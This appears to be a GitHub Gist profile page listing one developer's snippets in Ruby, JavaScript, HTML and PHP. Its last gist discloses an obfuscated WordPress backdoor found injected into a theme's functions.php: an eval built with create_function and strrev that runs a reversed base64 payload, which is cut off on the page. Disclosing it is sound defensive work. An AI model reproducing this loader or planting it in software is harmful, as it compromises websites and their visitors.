Skip to content

Instantly share code, notes, and snippets.


Collin Donahue-Oponski colllin

View GitHub Profile
View hello.js
// lskjdflskhjf
colllin /
Last active Dec 7, 2020
How to use UrlSpoiler to preview Gists
colllin / prime.rb
Created Oct 31, 2012
ruby prime number generator
View prime.rb
def calculatePrime
list = (2..7050000).to_a
print "2 "
list =
list.each_with_index.each do |n, i|
next if n == nil
print "#{n} "
while i < list.count do
colllin / whatever.html
Created Nov 9, 2012
Google Map Marker Example
View whatever.html
<!DOCTYPE html>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
<style type="text/css">
html { height: 100% }
body { height: 100%; margin: 0; padding: 0 }
#map_canvas { height: 100% }
<script type="text/javascript"
View gist:4084171
$(document).scroll(function() {
var currentScrollTop = $(this).scrollTop();
if (currentScrollTop > prevScrollTop) {
var lasthiddenbox = $('.fadeboxhidden:last');
var nextbox = (lasthiddenbox.length > 0) ?'.fadebox') : $('.fadebox:first');
while (nextbox.length) {
if (nextbox.offset().top < currentScrollTop) {
nextbox.css('opacity', (currentScrollTop - nextbox.offset().top) / nextbox.outerHeight());
colllin /
Created Apr 3, 2013
Exception stack traces from a bad outage around mongo connection failures.

At the beginning

PostsController# (Timeout::Error) "execution expired"

/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `block in read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:78:in `handle_socket_errors'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/connection.rb:177:in `read_data'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/connection.rb:99:in `block in read'
colllin / pathfinder.js
Last active Mar 15, 2016
Use jQuery to find the shortest selector for a given element in the DOM.
View pathfinder.js
jQuery(function($) {
// returns an array of the potential selector components for the first element in the jQuery object. IDs, classes, and tagNames only.
var getSelectorComponents = function($el) {
var components = [];
var id = $el.attr('id');
if (typeof(id)!='undefined' && /[^\s]/.test(id)) {
View contact-form.php
// only run this code if they submitted the form (we can check if the submit button was pressed)
if (isset($_POST['contact-submit'])) {
$email = isset($_POST['email']) ? trim($_POST['email']) : '';
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
$message = isset($_POST['message']) ? trim($_POST['message']) : '';
success = true;
colllin / backbone-auto-routing-example.html
Last active Aug 10, 2018
Automatic Backbone Routing - automatically capture links with relative URLs and route them through your Backbone Router. This method does not break any fallback server-side routing, because you're still using real URLs, i.e. `<a href="/my/app/page/4">See?</a>`. If a link can't be handled by any of your routers, it will fall through so the browse…
View backbone-auto-routing-example.html
<a href="/my/app">Home</a>
<a href="/my/app/posts">Posts</a>
<a href="/my/app/posts/1">The First Post</a>
colllin / gist:6265983
Last active Dec 21, 2015
"payday loans" WordPress hack / bug. I found this code injected at the top of the theme's functions.php file.
View gist:6265983
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=owOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQnchR3cfJ2bKogCKASfKAyOwRCIuJXd0VmcJogCK0XCK0XCJogC9lQCJoQfJkQCJowOxQHelRHJuAHJ9AHJJkQCJkgC7V2csVWfJkQCJoQfJkQCJkgC7kCckACLxQHelRHJuICIi4yZhRHJgwyZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCJkQCKsXZzxWZ9lQCJkQCKAyOpAHJsEDd4VGdk4iIgIiLnFGdkwyZhRHJoU2YhxGclJXafJHdzBUPwRSCJkQCJkgC7lSK00TPlBXe0RCK8xXKz0TPlBXe0RCKoAiZplQCJkQCKsXKpcWY0RCLwRCKyR3cpJHdzhCImlWCJkQCKowepkiIi0TIxQHelRHJoYiJpIiI9EyZhRHJogCImlWCJkgC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJscWY0RCK0NXaslQCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkQCKsXK09mYkgCImlWCJogC9lQCKsTKoAXafR3biVGbn92bn91cp1DdvJGJJkQCKsXKpMTP9UGc5RHJowHfpITP9UGc5RHJogCImlWCJoQfJkgC7kCKhV3X09mYfNXa9Q3biRSCJkgC7lSK00TPlBXe0RCK8xXKx0TPlBXe0RCKoAiZplQCKsXKpQTP9UGc5RHJowHfpMTP9UGc5RHJowHfpITP9UGc5RHJowHfpETP9UGc5RHJogCImlWCKU2csVWfJoQCJoQfJkgC7EDd4VGdk4Cck0DckkQCJowelNHbl1XCJowOpAHJgwSM0hXZ0dWY0RiLiAiIuEDd4VGdkACLxQHelR3ZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9